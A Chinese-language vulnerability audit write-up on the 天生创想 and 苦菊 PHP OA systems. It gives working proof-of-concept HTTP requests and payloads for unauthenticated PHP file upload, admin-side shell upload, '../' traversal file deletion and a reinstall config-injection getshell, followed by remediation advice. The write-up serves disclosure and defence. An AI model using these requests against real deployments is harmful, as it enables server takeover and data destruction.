记一次对俩OA协同办公系统​的审计分析
字数 1513
更新时间 2025-08-05 08:19:04

天生创想OA与苦菊OA系统安全审计报告

系统概述

天生创想OA办公系统是适用于中小型企业的通用型协同OA管理软件,采用B/S(浏览器/服务器)架构。苦菊OA系统与天生创想OA系统存在相同的安全问题。

测试环境

  • Web服务器:Apache 2.4.39
  • PHP版本:5.3.29
  • 系统版本:V2019,PHPOA V4.0

漏洞分析

0X01 未授权任意文件上传漏洞

漏洞文件/upload/UploadHandler.php

漏洞分析

  1. /Upload/index.php包含UploadHandler.php并实例化UploadHandler
  2. handle_file_upload函数存在任意文件上传漏洞,未校验上传文件后缀
  3. 文件上传流程:
    • 生成文件名并指定上传目录
    • 调用get_upload_path函数处理文件路径
    • 未对cookie进行校验,导致未授权上传

漏洞利用

POST /upload/index.php?userid=1 HTTP/1.1
Host: www.kuju.com
Content-Type: multipart/form-data;boundary=---------------------------115858488212690034922831875554

-----------------------------115858488212690034922831875554
Content-Disposition: form-data;name="files[]"; filename="1.php"
Content-Type: text/plain

<?php
echo 123;
phpinfo();
?>
-----------------------------115858488212690034922831875554—

Shell访问地址http://www.kuju.com/data//uploadfile//1//1614235203.php

0X02 后台任意文件上传漏洞

漏洞文件/uploadclass.php

漏洞分析

  1. upload.php包含uploadclass.php并实例化类
  2. 调用upload_file函数获取文件信息
  3. seve函数通过get_compare_extention()检查文件后缀
  4. 后缀检查依赖于extention_list变量,该变量通过set_extention函数设置
  5. 后台"系统设置"->"附件上传类型"可控制允许上传的文件类型

漏洞利用

  1. 登录后台,在"附件上传类型"中添加php后缀
  2. 上传php文件
  3. 访问上传的shell:http://www.kuju.com/data/uploadfile/1/20210225/20210225101410.php

0X03 任意文件删除漏洞

漏洞文件/include/dbbackup.class.php

漏洞分析

  1. /mana/mod_data.php处理文件删除操作
  2. del函数未校验文件后缀和路径,未过滤../
  3. 可跨目录删除任意文件
  4. 可利用此漏洞删除/cache/install.lock文件导致系统重装

漏洞利用

POST /admin.php?ac=data&fileurl=mana&do=update HTTP/1.1
Host: www.kuju.com
Content-Type: application/x-www-form-urlencoded

choice[]=../1.php&do=%E5%88%A0+%E9%99%A4

0X04 重装系统Getshell漏洞

漏洞文件/install/install.php

漏洞分析

  1. 安装过程中会写入配置文件
  2. 使用preg_replace检查并替换内容后写入config.php
  3. 可通过注入PHP代码实现Getshell

漏洞利用条件

  • PHP版本 <= 5.4.45(magic_quotes_gpc被移除)
  • 或PHP版本>5.4但magic_quotes_gpc = Off

利用方法

  1. 在安装过程中注入payload:');phpinfo();//
  2. 访问http://www.kuju.com/config.php执行代码

修复建议

  1. 文件上传漏洞

    • 严格校验上传文件类型,使用白名单机制
    • 对上传文件进行重命名
    • 设置上传目录不可执行
  2. 文件删除漏洞

    • 校验文件路径,防止目录遍历
    • 限制可删除的文件类型和目录
  3. 安装漏洞

    • 对写入配置文件的内容进行严格过滤
    • 安装完成后删除或重命名安装目录
  4. 通用建议

    • 升级PHP版本至最新稳定版
    • 实施严格的权限控制
    • 对用户输入进行严格过滤和验证

免责声明

本文档仅供技术研究学习使用,严禁用于非法操作。切实维护国家网络安全,普及相关网络安全知识是信息安全从业者的义务。

相似文章
相似文章
 全屏